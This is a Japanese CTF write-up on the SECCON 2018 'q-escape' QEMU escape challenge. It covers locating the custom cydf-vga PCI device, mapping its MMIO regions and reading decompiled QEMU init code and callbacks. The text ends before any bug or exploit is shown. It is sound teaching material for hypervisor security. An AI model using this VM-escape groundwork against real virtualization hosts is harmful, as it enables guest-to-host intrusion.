# SECCON 2018 - q-escape Writeup
###### tags: `ctf` `pwn` `qemu escape`
# 概要
この記事は,[CTF Advent Calendar 2018](https://adventar.org/calendars/3210) の10日目の記事です.
9日目は[@_N4NU_さん](https://twitter.com/_n4nu_)の「[各種OSのUserlandにおけるPwn入門](http://nanuyokakinu.hatenablog.jp/entry/2018/12/09/223440)」でした.
今回は
- SECCON 2018 - q-escape Writeup
について書きます.
12/10が空いてたのと,ちょうどさっき解けたので,頑張って記事に起こした次第です.
日本語のqemu escape系の記事が殆どないので,とりあえず書いておこうと思い立ったのが理由です.
# はじめに
大前提として,Linuxのユーザランドのpwnについてある程度知っている方向けの内容となります.pwnそのものについての細かな説明は全て省略します.
ちゃんと勉強したい!という方は,[過去に公開したスライド](https://speakerdeck.com/bata_24)などを参考に,精進しましょう.
# 初動調査
## 問題文
```
q-escape
We developed a new device named CYDF :)
Ubuntu 16.04 latest
nc q-escape.pwn.seccon.jp 1337
```
問題名の通り,qemuのエスケープ,つまりゲストからホストに脱出する系のpwn問です.問題のファイルは[ここ](https://github.com/SECCON/SECCON2018_online_CTF/tree/master/Pwn/q-escape/files)にあります.
## 調査対象デバイスの特定
qemuの起動スクリプトより,`cydf-vga`というデバイスが怪しい事がわかります.とりあえず,このデバイスに着目して調査をしましょう.
```sh=
#!/bin/sh
./qemu-system-x86_64 \
-m 64 \
-initrd ./initramfs.igz \
-kernel ./vmlinuz-4.15.0-36-generic \
-append "priority=low console=ttyS0" \
-nographic \
-L ./pc-bios \
-vga std \
-device cydf-vga \ ★
-monitor telnet:127.0.0.1:2222,server,nowait
```
qemuのメンテ画面に入って確認しましょう.起動時の引数から`localhost:2222`でqemu monitorが待ち受けていることがわかるので,別の端末でqemuを起動してから,qemu monitorへアクセスして情報収集します.デバイスの情報を見るには,`info qtree`を叩けばOKです.結果的にはPCIデバイスだったので,`info pci`でも良いですね.
```sh=
[qemu起動]
root@Ubuntu1804-64:~/ctf/SECCON-2018/q-escape# ./run.sh
[別の端末で以下実施]
root@Ubuntu1804-64:~/ctf/SECCON-2018/q-escape# telnet localhost 2222
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
QEMU 3.0.0 monitor - type 'help' for more information
(qemu) info qtree
bus: main-system-bus
type System
dev: hpet, id ""
gpio-in "" 2
gpio-out "" 1
gpio-out "sysbus-irq" 32
timers = 3 (0x3)
msi = false
hpet-intcap = 4 (0x4)
hpet-offset-saved = true
mmio 00000000fed00000/0000000000000400
dev: ioapic, id ""
gpio-in "" 24
version = 32 (0x20)
mmio 00000000fec00000/0000000000001000
dev: i440FX-pcihost, id ""
pci-hole64-size = 2147483648 (2 GiB)
short_root_bus = 0 (0x0)
x-pci-hole64-fix = true
bus: pci.0
type PCI
dev: cydf-vga, id "" ★
vgamem_mb = 4 (0x4)
blitter = true
global-vmstate = false
addr = 04.0
romfile = "vgabios-cydf.bin"
rombar = 1 (0x1)
multifunction = false
command_serr_enable = true
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
class VGA controller, addr 00:04.0, pci id 1013:00b8 (sub 1af4:1100) ★
bar 0: mem at 0xfa000000 [0xfbffffff] ★
bar 1: mem at 0xfebc1000 [0xfebc1fff] ★
bar 6: mem at 0xffffffffffffffff [0xfffe]
...
(qemu)
```
これを見ると,PCIバスに`cydf-vga`がぶら下がっていて,それはVGAコントローラで,PCI番号は`00:04:0 1013:00b8`を持つことがわかります.PCI番号自体はどうでも良いのですが,PCIデバイスの一つとして組み込まれていること,その`BAR0`,`BAR1`に意味の有りそうなアドレスが確認できたことが重要です.
`BAR(Base Address Register)`に入っている値は,このデバイス用に割り当てられた物理メモリのアドレスです.このアドレスの領域は,ただのメモリ領域ではなく,ハードウェアへリダイレクトされる特殊な領域ということです.
ハードウェアへのリダイレクトは,本来チップセット側で実装されていなければなりませんが,今回は全てqemuがエミュレートしているので,qemuにその処理があるはずですね.具体的には,この物理アドレスにアクセスした時,特殊なコールバック関数が呼ばれるように設定されていることでしょう.おそらく,このコールバック関数を調べることで,何らかのバグが見つかるのではないかと予想されます.
但し注意として,デバイスはここに書かれていない物理アドレスを扱うこともあります.これについては,qemuのソースに埋め込まれたデバイスの初期化コードを読んで,qemuが物理メモリ空間をどの位置にどれだけ確保しているか確認しないとわかりません.最終的には配布されたqemuを解析してそれらを求めますが,その際の参考となるので,今見つけた物理アドレスは控えておきましょう.
### 補足
qemu monitorを使わず,Linux内部の情報だけを使ってもここまでは確認できます.以下にその手順を記載しておきます.
qemuのサポートするデバイス一覧からも,不明なデバイスの存在が確認可能です.`cydf-vga`はPCIバスにつながるデバイスであり,`description`に`"Cydf CLGD 54xxVGA"`とあるので,VGA関連らしいことがわかります.
```sh=
root@Ubuntu1804-64:~/ctf/SECCON-2018/q-escape# ./qemu-system-x86_64 -device help 2>&1 |grep cydf
name "cydf-vga", bus PCI, desc "Cydf CLGD 54xx VGA" ★
name "isa-cydf-vga", bus ISA
root@Ubuntu1804-64:~/ctf/SECCON-2018/q-escape#
```
VGAコントローラのクラスコードを,[The PCI ID Repository](https://pci-ids.ucw.cz/read/PD/)で調べると,`0300`ということがわかります.
```=
00 Unclassified device
01 Mass storage controller
02 Network controller
03 Display controller
00 VGA compatible controller ★
01 XGA compatible controller
02 3D controller
80 Display controller
04 Multimedia controller
05 Memory controller
06 Bridge
07 Communication controller
08 Generic system peripheral
09 Input device controller
0a Docking station
0b Processor
0c Serial bus controller
0d Wireless controller
0e Intelligent controller
0f Satellite communications controller
10 Encryption controller
11 Signal processing controller
12 Processing accelerators
13 Non-Essential Instrumentation
40 Coprocessor
64
ff Unassigned class
```
qemuを起動して`lspci -k`を叩くと,クラスコード`0300`が2つあり,どちらかがターゲットデバイスだと分かります.`lspci -v`が使えるならもっと沢山情報を得られるのですが,busybox版の`lspci`では使えないので,他の方法で調査をしなければなりません.
```sh=
/ # lspci -k
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010 ata_piix
00:02.0 Class 0300: 1234:1111 ★候補1
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0300: 1013:00b8 ★候補2
^ ^ ^
| | |
| | ベンダID:デバイスID
| クラスコード
PCI番号(バス番号:デバイス番号.ファンクション番号)
```
Ubuntuなど別の環境で,`/usr/share/misc/pci.ids`を調べると,ベンダIDが`1234`のものは見つかりません.逆にベンダID`1013`は見つかり`1013:00b8`が定義されています.`GD 5446`つまりグラフィックドライバであり,直下にはqemu用であることも書かれているので,これが当たりですね.PCI番号は`00:04.0`です.
```=
1013 Cirrus Logic
00b8 GD 5446
1af4 1100 QEMU Virtual Machine
```
PCI番号の情報を元に,`/proc/iomem`を見れば,このデバイスが利用している物理メモリのアドレスがわかります.
```sh=
/ # cat /proc/iomem
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c97ff : Video ROM
000c9800-000ca5ff : Adapter ROM
000ca800-000cadff : Adapter ROM
000f0000-000fffff : Reserved
000f0000-000fffff : System ROM
00100000-03fdffff : System RAM
01000000-01c031d0 : Kernel code
01c031d1-0266a03f : Kernel data
028e2000-02b3dfff : Kernel bss
03fe0000-03ffffff : Reserved
04000000-febfffff : PCI Bus 0000:00
fa000000-fbffffff : 0000:00:04.0 ★
fc000000-fcffffff : 0000:00:02.0
feb40000-feb7ffff : 0000:00:03.0
feb80000-feb9ffff : 0000:00:03.0
febb0000-febbffff : 0000:00:04.0 ★
febc0000-febc0fff : 0000:00:02.0
febc1000-febc1fff : 0000:00:04.0 ★
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
fed00000-fed003ff : PNP0103:00
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : Reserved
100000000-17fffffff : PCI Bus 0000:00
/ #
```
`/sys/devices/pci0000:00/0000:00:04.0/resource`を見ても良いですね.
```sh=
/ # cat /sys/devices/pci0000:00/0000:00:04.0/resource
0x00000000fa000000 0x00000000fbffffff 0x0000000000042208
0x00000000febc1000 0x00000000febc1fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febb0000 0x00000000febbffff 0x0000000000046200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
/ #
```
`/proc/bus/pci/devices`でも情報が取れます.ただしこのファイルは非常に解読し辛いので,今後のために読み方を補足しておきます.参考: [How to interpret the contents of /proc/bus/pci/devices?](https://stackoverflow.com/questions/2790637/how-to-interpret-the-contents-of-proc-bus-pci-devices)
```sh=
/ # cat /proc/bus/pci/devices |sed -e 's/\t/ /g'|sed -e 's/ / /g' ※タブ幅がでかいのでsedで消してる
0000 80861237 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0008 80867000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0009 80867010 0 1f0 3f6 170 376 c041 0 0 8 0 8 0 10 0 0 ata_piix
000b 80867113 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0010 12341111 0 fc000008 0 febc0000 0 0 0 c0002 1000000 0 1000 0 0 0 20000
0018 8086100e b feb80000 c001 0 0 0 0 feb40000 20000 40 0 0 0 0 40000
0020 101300b8 0 fa000008 febc1000 0 0 0 0 febb0000 2000000 1000 0 0 0 0 10000
^ ^ ^ ^ ^ ^
| | | | | |
| | | | | 名前
| | | | pci_dev->resources[0~6]のサイズが並ぶ
| | | pci_dev->resources[0~6]の 開始アドレス|フラグ が順に並ぶ.
| | | 末尾4bitはフラグで,include/uapi/linux/pci_regs.h のPCI_BASE_ADDRESS_SPACEあたりが該当する.
| | | 0:RAM, 1:I/Oメモリ,2:1M以下から確保,4:64bit空間,8:プリフェッチ可能フラグ
| | 割り込みライン番号
| ベンダID(16bit),デバイスID(16bit)
バス番号(8bit),デバイス番号(5bit),ファンクション番号(3bit)
```
いずれも,qemu monitorの`info qtree`で見たものよりBARが1つ多いですが,原因はわかりません.ただ,デバイスが利用する完全な物理メモリ一覧を求める段階ではまだありませんので,とりあえず先へ進みましょう.
## PCIデバイスへのアクセスについて
PCIデバイスということがわかったので,もう少し深く調べましょう.まず,PCIデバイスへアクセスするには2つの方法があります.
参考: [ハイパーバイザの作り方~ちゃんと理解する仮想化技術~ 第15回 PCIパススルーその1「PCIパススルーとIOMMU」](https://syuu1228.github.io/howto_implement_hypervisor/part15.html)
- ポートマップドI/O
- I/O空間にある`CONFIG_ADDRESS`レジスタ(=I/O空間+`0xCF8`)に,アクセスしたいデバイスのバス番号:デバイス番号:ファンクション番号と`Enable Bit`をセットし,`CONFIG_DATA`レジスタ(=I/O空間+`0xCFC`)を使って読み書きする.`in`/`out`命令を使う
- メモリマップドI/O
- 通常のメモリ空間の物理アドレスにマッピングされたデバイスのレジスタに,`mov`などの命令で直接読み書きする
これらは単にアクセス方法が違うだけであって,最終的には同じ関数が呼ばれる事が多いです.従って,大抵はどちらの方法を利用しても良いでしょう.でも後者のほうが利用は簡単なので,メモリマップドI/Oで当該デバイスにアクセスする方を私はお勧めします.
ではメモリマップドI/Oを利用するため,PCIデバイスのレジスタがどの物理メモリにマップされているかを,もう少し正確に調べましょう.これには,qemuの`info mtree`コマンドを使うと良いでしょう.qemuが確保した物理メモリの一覧を,確保時のタグと一緒に確認することができます.尚,デフォルトではdisabledな領域も表示されてしまうので,`-f`をつけてフラットビューにするともう少し分かりやすくなるかも知れません.上手く使い分けて情報を得ましょう.また,ここでは記載していませんが,ポートマップドI/O向けのメモリマップも同じコマンドで見ることができます.
```sh=
(qemu) info mtree
address-space: memory
0000000000000000-ffffffffffffffff (prio 0, i/o): system
0000000000000000-0000000003ffffff (prio 0, i/o): alias ram-below-4g @pc.ram 0000000000000000-0000000003ffffff
0000000000000000-ffffffffffffffff (prio -1, i/o): pci
00000000000a0000-00000000000bffff (prio 1, i/o): cydf-lowmem-container
00000000000a0000-00000000000a7fff (prio 1, i/o): alias vga.bank0 @vga.vram 0000000000000000-0000000000007fff [disabled]
00000000000a0000-00000000000bffff (prio 0, i/o): cydf-low-memory ★
00000000000a8000-00000000000affff (prio 1, i/o): alias vga.bank1 @vga.vram 0000000000000000-0000000000007fff [disabled]
00000000000a0000-00000000000bffff (prio 1, i/o): vga-lowmem
00000000000c0000-00000000000dffff (prio 1, rom): pc.rom
00000000000e0000-00000000000fffff (prio 1, i/o): alias isa-bios @pc.bios 0000000000020000-000000000003ffff
00000000fa000000-00000000fbffffff (prio 1, i/o): cydf-pci-bar0
00000000fa000000-00000000fa3fffff (prio 1, ram): vga.vram
00000000fa000000-00000000fa3fffff (prio 0, i/o): cydf-linear-io ★
00000000fb000000-00000000fb3fffff (prio 0, i/o): cydf-bitblt-mmio ★
00000000fc000000-00000000fcffffff (prio 1, ram): vga.vram
00000000feb80000-00000000feb9ffff (prio 1, i/o): e1000-mmio
00000000febc0000-00000000febc0fff (prio 1, i/o): vga.mmio
00000000febc0400-00000000febc041f (prio 0, i/o): vga ioports remapped
00000000febc0500-00000000febc0515 (prio 0, i/o): bochs dispi interface
00000000febc0600-00000000febc0607 (prio 0, i/o): qemu extended regs
00000000febc1000-00000000febc1fff (prio 1, i/o): cydf-mmio ★
00000000fffc0000-00000000ffffffff (prio 0, rom): pc.bios
...
```
qemuのメモリマップは階層構造になっており,親の確保したメモリを子が部分的にオーバーラップして利用するような感じです(当該アドレスにアクセスがあると子の定義が優先されます).[公式ドキュメント](https://github.com/qemu/qemu/blob/master/docs/devel/memory.txt)が参考になります.
最下層のものだけを数えていくと,今回のケースでは,`cydf`と名前のついた領域が大きく4箇所確認できますね.ここまでをまとめると,以下のとおりです.
`info qtree`で調べた情報では,デバイスの利用する物理アドレスは以下の2つでした.
- 1. `0xfa000000`~`0xfc000000`
- 2. `0xfebc1000`~`0xfebc2000`
`/proc/iomem`や`/sys/devices/pci0000:00/0000:00:04.0/resource`で調べると以下も見つかりました.
- 3. `0xfebb0000`~`0xfebc0000`
でした.
`info mtree`からは,1が内部的に2つの領域を持っていることが分かり,またこのリストにはない
- 4. `0xa0000`~`0xc0000`
も使われている可能性がある,ということが分かりました(これはタグ名だけで判定しているので,少し怪しいですが).
# qemuのコードリーディング
さて,PCIデバイスに対するメモリマップドI/Oを使う場合の物理アドレスの候補が特定できました.次は,本当にこれらのアドレスが使われているかの確認です.また,それらの物理アドレスへアクセスした場合のコールバック関数も一緒に特定しましょう.特定するにはqemuのコードを読むしかないですが,今回はシンボルが残っているため読みやすいのが救いです.
ざっと関数名一覧を見ると,`cydf`で始まる関数が多数あることがわかります.ここを優先的に見ていきましょう.その中でも最初はまず初期化コードを探すのがオススメです.これまで説明してきた,デバイスに紐づく物理アドレスを設定しているはずだからですね.
今回はVGAドライバを読むことになる訳ですが,VGAドライバの例があると読みやすいですよね.`vga_class_init`あたりでググると出てくる[この辺の初期化コード](https://github.com/firmadyne/qemu-linaro/blob/master/hw/display/vga-pci.c)が参考になります.
qemuでPCIデバイスを追加する方法などは,[QEMUに仮想PCIデバイスを追加する(1) : 作ったもの](https://qiita.com/rafilia/items/f7646d12212da2a85bd8)が参考になるので,を先に読んでおいたほうが良いでしょう.
またqemuにおけるメモリの取扱方法については,[公式ドキュメント](https://github.com/qemu/qemu/blob/master/docs/devel/memory.txt)を参照してください.
## デバイス用メモリの初期化
以下に挙げた関数で,ポートマップドI/OやメモリマップドI/O向けの物理アドレス設定をしているようです.
```C=
void __fastcall cydf_vga_class_init(ObjectClass_0 *klass, void *data)
{
DeviceClass *device; // rbx
PCIDeviceClass *pci_device; // rax
device = (DeviceClass *)object_class_dynamic_cast_assert(klass, "device", "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3223, "cydf_vga_class_init");
pci_device = (PCIDeviceClass *)object_class_dynamic_cast_assert(klass, "pci-device", "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3224, "cydf_vga_class_init");
pci_device->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_cydf_vga_realize; // これがコールバックされるはず
pci_device->romfile = "vgabios-cydf.bin";
pci_device->vendor_id = 4115;
pci_device->device_id = 184;
pci_device->class_id = 768;
device->desc = "Cydf CLGD 54xx VGA";
device->categories[0] |= 0x20uLL;
device->vmsd = &vmstate_pci_cydf_vga;
device->props = pci_vga_cydf_properties;
device->hotpluggable = 0;
}
```
`pci_device->realize()`が呼ばれた時の呼び出し先
```C=
void __fastcall pci_cydf_vga_realize(PCIDevice *dev, Error **errp)
{
PCICydfVGAState *d; // rbx
PCIDeviceClass *pci_device_; // rax
PCIDeviceClass *pci_device; // rax
uint32_t vram_size_mb; // er9
signed __int16 device_id; // r13
MemoryRegion_0 *address_space_io; // r14
MemoryRegion_0 *address_space_mem; // rax
const GraphicHwOps_0 *hw_ops; // r14
DeviceState_0 *dev_state; // rax
uint32_t *pos; // rax
d = (PCICydfVGAState *)object_dynamic_cast_assert(&dev->qdev.parent_obj, "cydf-vga", "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3168, "pci_cydf_vga_realize");
pci_device_ = (PCIDeviceClass *)object_get_class(&dev->qdev.parent_obj);
pci_device = (PCIDeviceClass *)object_class_dynamic_cast_assert(&pci_device_->parent_class.parent_class, "pci-device", "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3170, "pci_cydf_vga_realize");
vram_size_mb = d->cydf_vga.vga.vram_size_mb;
if ( (vram_size_mb - 4) & 0xFFFFFFFB && vram_size_mb != 16 )
{
error_setg_internal(errp, "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3178, "pci_cydf_vga_realize", "Invalid cydf_vga ram size '%u'");
}
else
{
device_id = pci_device->device_id;
vga_common_init(&d->cydf_vga.vga, &dev->qdev.parent_obj);
address_space_io = pci_address_space_io(dev);
address_space_mem = pci_address_space(dev);
cydf_init_common(&d->cydf_vga, &dev->qdev.parent_obj, device_id, 1, address_space_mem, address_space_io); // 内部で色々準備
hw_ops = d->cydf_vga.vga.hw_ops;
dev_state = (DeviceState_0 *)object_dynamic_cast_assert(&dev->qdev.parent_obj, "device", "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c", 3185, "pci_cydf_vga_realize");
d->cydf_vga.vga.con = graphic_console_init(dev_state, 0, hw_ops, &d->cydf_vga);
memcpy(d->cydf_vga.vs, 0, sizeof(d->cydf_vga.vs));
// 先のcydf_init_common()内で準備したMemoryRegionの内2つを,PCIBARから始まる領域に割り付け
// 尚,PCIBARはOS起動後に動的に割り当てられるため,この時点ではアドレスがわからないことに注意
// サイズ0x2000000
// メモリ: [ 0x1000000 ][ 0x1000000 ]
// <- cydf-linear-io -><---unused---><- cydf-bitblt-io -><---unused--->
// ↑ (0x400000) (0x400000)
// PCIBAR -┘
memory_region_init(&d->cydf_vga.pci_bar, &dev->qdev.parent_obj, "cydf-pci-bar0", 0x2000000uLL);
memory_region_add_subregion(&d->cydf_vga.pci_bar, 0LL, &d->cydf_vga.cydf_linear_io);
memory_region_add_subregion(&d->cydf_vga.pci_bar, 0x1000000uLL, &d->cydf_vga.cydf_linear_bitblt_io);
pci_register_bar(&d->dev, 0, 8u, &d->cydf_vga.pci_bar);
// MMIO関連も割り付け
if ( device_id == 0xB8 )
pci_register_bar(&d->dev, 1, 0, &d->cydf_vga.cydf_mmio_io);
}
}
```
`MemoryRegion`を色々準備する関数
```C=
void __fastcall cydf_init_common(CydfVGAState *s, Object *owner, int device_id, int is_pci, MemoryRegion *system_memory, MemoryRegion *system_io)
{
char *pos; // rax
bool device_id_is_184; // zf
uint32_t mmio_mask; // eax
uint32_t addr_mask; // edx
int vram_size; // ecx
MemoryRegion *system_memorya; // [rsp+8h] [rbp-40h]
system_memorya = system_memory;
if ( !inited_41581 )
{
inited_41581 = 1;
pos = (char *)rop_to_index;
do
*pos++ = 2;
while ( pos != (char *)virtio_input_host_config );
rop_to_index[0] = 0;
rop_to_index[5] = 1;
rop_to_index[6] = 2;
rop_to_index[9] = 3;
rop_to_index[11] = 4;
rop_to_index[13] = 5;
rop_to_index[14] = 6;
rop_to_index[80] = 7;
rop_to_index[89] = 8;
rop_to_index[109] = 9;
rop_to_index[144] = 10;
rop_to_index[149] = 11;
rop_to_index[173] = 12;
rop_to_index[208] = 13;
rop_to_index[214] = 14;
rop_to_index[218] = 15;
s->device_id = device_id;
s->bustype = (unsigned int)is_pci < 1 ? 56 : 32;
}
// 参考: https://github.com/qemu/qemu/blob/master/docs/devel/memory.txt
// I/O空間の0x3b0へ0x30の領域を確保.触れた時のコールバックはcydf_vga_io_ops
// cydf_vga_ioport_read
// cydf_vga_ioport_write
// gdb確認結果:
// gdb-peda$ p *(MemoryRegion*)0x22cfd30 (=&s->cydf_vga_ioのアドレス)
// $34 = {
// ...
// size = 0x30, ★
// addr = 0x3b0, ★
// ...
// gdb-peda$
// I/O空間: [ 0x3b0 ][ 0x30 ][ ... ]
// 尚,cat /proc/ioports では「03c0-03df : vga+」と出ており,開始位置が0x10ずれているが,原因不明
// 但しこの設定はI/Oポートでアクセスする場合の設定であり,MMIOを使うなら関係がない.そのため深追いしていない.
memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io", 0x30uLL);
memory_region_set_flush_coalesced(&s->cydf_vga_io);
memory_region_add_subregion(system_io, 0x3B0uLL, &s->cydf_vga_io);
// 1. 新規で0x20000サイズのコンテナを作り,cydf-low-memoryという名前のメモリをオフセット0から割当.コールバックはcydf_vga_mem_ops
// cydf_vga_mem_read
// cydf_vga_mem_write
// 2. vga.bank0を0x8000サイズでオーバーラップ割当
// 3. vga.bank1を0x8000サイズでオーバーラップ割当
// 4. システムメモリの0xA0000にコンテナをオーバーラップ割当
// メモリ: [ 0xa0000 ][ 0x8000 ][ 0x8000 ][ 0x10000 ][ ... ]
// <- vga.bank0 -><- vga.bank1 ->
// <--------------- cydf-low-memory -------------->
// <------------ cydf-lowmem-container ----------->
memory_region_init(&s->low_mem_container, owner, "cydf-lowmem-container", 0x20000uLL);
memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory", 0x20000uLL);
memory_region_add_subregion(&s->low_mem_container, 0LL, &s->low_mem);
memory_region_init_alias(s->cydf_bank, owner, "vga.bank0", &s->vga.vram, 0LL, 0x8000uLL);
memory_region_set_enabled(s->cydf_bank, 0);
memory_region_add_subregion_overlap(&s->low_mem_container, 0LL, s->cydf_bank, 1);
memory_region_init_alias(&s->cydf_bank[1], owner, "vga.bank1", &s->vga.vram, 0LL, 0x8000uLL);
memory_region_set_enabled(&s->cydf_bank[1], 0);
memory_region_add_subregion_overlap(&s->low_mem_container, 0x8000uLL, &s->cydf_bank[1], 1);
memory_region_add_subregion_overlap(system_memorya, 0xA0000uLL, &s->low_mem_container, 1);
memory_region_set_coalescing(&s->low_mem);
// サイズ0x400000(gdbで見た結果より),コールバックはcydf_linear_io_ops
// cydf_linear_read
// cydf_linear_write
memory_region_init_io(&s->cydf_linear_io, owner, &cydf_linear_io_ops, s, "cydf-linear-io", (unsigned __int64)s->vga.vram_size_mb << 20);
memory_region_set_flush_coalesced(&s->cydf_linear_io);
// サイズ0x400000,コールバックはcydf_linear_bitblt_io_ops
// cydf_linear_bitblt_read
// cydf_linear_bitblt_write
memory_region_init_io(&s->cydf_linear_bitblt_io, owner, &cydf_linear_bitblt_io_ops, s, "cydf-bitblt-mmio", 0x400000uLL);
memory_region_set_flush_coalesced(&s->cydf_linear_bitblt_io);
// サイズ0x1000,コールバックはcydf_mmio_io_ops
// cydf_mmio_read
// cydf_mmio_write
memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio", 0x1000uLL);
memory_region_set_flush_coalesced(&s->cydf_mmio_io);
device_id_is_184 = s->device_id == 184;
mmio_mask = 0x1FFF00;
s->vga.get_bpp = (int (*)(VGACommonState *))cydf_get_bpp;
s->vga.get_offsets = (void (*)(VGACommonState *, uint32_t *, uint32_t *, uint32_t *))cydf_get_offsets;
s->vga.get_resolution = (void (*)(VGACommonState *, int *, int *))cydf_get_resolution;
s->vga.cursor_invalidate = (void (*)(VGACommonState *))cydf_cursor_invalidate;
s->vga.cursor_draw_line = (void (*)(VGACommonState *, uint8_t *, int))cydf_cursor_draw_line;
if ( device_id_is_184 )
mmio_mask = 0x3FFF00;
addr_mask = 0x1FFFFF;
if ( device_id_is_184 )
addr_mask = 0x3FFFFF;
vram_size = 0x200000;
s->linear_mmio_mask = mmio_mask;
if ( device_id_is_184 )
vram_size = 0x400000;
s->cydf_addr_mask = addr_mask;
s->real_vram_size = vram_size;
qemu_register_reset((QEMUResetHandler *)cydf_reset, s);
}
```
かなり複雑に設定していますが,I/O空間を除くと,事前に予想した物理アドレス候補のうち,3箇所を設定をしていることが分かります.
- 1. `0xfa000000`~`0xfc000000`: `cydf-linear-io`及び`cydf-bitblt-mmio`として設定している
- 2. `0xfebc1000`~`0xfebc2000`: `cydf-mmio`として設定している
- 3. `0xfebb0000`~`0xfebc0000`: ???
- 4. `0xa0000`~`0xc0000`: `cydf-lowmem-container`として設定している
`PCIBAR(PCIデバイス群の利用するベースとなるBAR)`はどうやら`0xfa000000`で,1や2はそれ以降に割り付けられていることに注意しましょう(`PCIBAR`の開始アドレスは,この部分のソースには出てこない).
先の`info mtree`で得られたメモリマップに,コールバック関数をマッピングしてみると,わかりやすいでしょう.尚,ポートマップドI/O経由で呼ばれるコールバック関数については,今回は利用しないため記載を省略しています.
```C=
(qemu) info mtree
address-space: memory
0000000000000000-ffffffffffffffff (prio 0, i/o): system
0000000000000000-0000000003ffffff (prio 0, i/o): alias ram-below-4g @pc.ram 0000000000000000-0000000003ffffff
0000000000000000-ffffffffffffffff (prio -1, i/o): pci
00000000000a0000-00000000000bffff (prio 1, i/o): cydf-lowmem-container
00000000000a0000-00000000000a7fff (prio 1, i/o): alias vga.bank0 @vga.vram 0000000000000000-0000000000007fff [disabled]
00000000000a0000-00000000000bffff (prio 0, i/o): cydf-low-memory ★→cydf_vga_mem_read, cydf_vga_mem_write
00000000000a8000-00000000000affff (prio 1, i/o): alias vga.bank1 @vga.vram 0000000000000000-0000000000007fff [disabled]
00000000000a0000-00000000000bffff (prio 1, i/o): vga-lowmem
00000000000c0000-00000000000dffff (prio 1, rom): pc.rom
00000000000e0000-00000000000fffff (prio 1, i/o): alias isa-bios @pc.bios 0000000000020000-000000000003ffff
00000000fa000000-00000000fbffffff (prio 1, i/o): cydf-pci-bar0
00000000fa000000-00000000fa3fffff (prio 1, ram): vga.vram
00000000fa000000-00000000fa3fffff (prio 0, i/o): cydf-linear-io ★→cydf_linear_read, cydf_linear_write
00000000fb000000-00000000fb3fffff (prio 0, i/o): cydf-bitblt-mmio ★→cydf_linear_bitblt_read, cydf_linear_bitblt_write
00000000fc000000-00000000fcffffff (prio 1, ram): vga.vram
00000000feb80000-00000000feb9ffff (prio 1, i/o): e1000-mmio
00000000febc0000-00000000febc0fff (prio 1, i/o): vga.mmio
00000000febc0400-00000000febc041f (prio 0, i/o): vga ioports remapped
00000000febc0500-00000000febc0515 (prio 0, i/o): bochs dispi interface
00000000febc0600-00000000febc0607 (prio 0, i/o): qemu extended regs
00000000febc1000-00000000febc1fff (prio 1, i/o): cydf-mmio ★→cydf_mmio_read, cydf_mmio_write
00000000fffc0000-00000000ffffffff (prio 0, rom): pc.bios
...
```
## コールバック関数の調査
次に,それら物理アドレスへのアクセスに対するコールバック関数を調査します.CTFのqemu問なら,大抵この辺にバグがあると思われます.
- `cydf_vga_mem_read`
- `cydf_vga_mem_write`
- `cydf_linear_read`
- `cydf_linear_write`
- `cydf_linear_bitblt_read`
- `cydf_linear_bitblt_write`
- `cydf_mmio_read`
- `cydf_mmio_write`
尚これらの関数を全て自作したとは考え辛く,元になったコードが有るはずなので,特徴的なメンバ名などから探すと,コード読解の助けになります.
例えば`cydf_vga_ioport_write()`にある`vga.hw_cursor_x`と言ったメンバ名でググれば,[cirrus_vga.c](https://github.com/hackndev/qemu/blob/master/hw/cirrus_vga.c)などが見つかりますね.これらを参考に,読んでいくと良いでしょう.
さて,読んでいくと分かりますが,これらの関数はアクセスした物理アドレスによって,内部的に更に分岐しています.省略している分岐や条件もあるため正確ではありませんが(正確な情報が必要ならバイナリをリバースすること),全体感を知るために,ざっくりと以下にまとめておきましょう.
- `cydf_vga_mem_read`
- `s->vga.sr[7] == 0`: `vga_mem_readb`
- `0x10000 <= addr < 0x18100`: `cydf_mmio_blt_read`
- `cydf_vga_mem_write`
- `s->vga.sr[7] == 0`: `vga_mem_writeb`
- 条件によっては`cydf_mmio_blt_write`
- `cydf_linear_read`
- 条件によっては`cydf_mmio_blt_read`
- `cydf_linear_write`
- 条件によっては`cydf_mmio_blt_write`
- `cydf_linear_bitblt_read`
- `cydf_linear_bitblt_write`
- `cydf_mmio_read`
- `0x000 < addr <= 0x100`: `cydf_vga_ioport_read`
- `0x100 < addr`: `cydf_mmio_blt_read`
- `cydf_mmio_write`
- `0x000 < addr <= 0x100`: `cydf_vga_ioport_write`
- `0x100 < addr`: `cydf_mmio_blt_write`
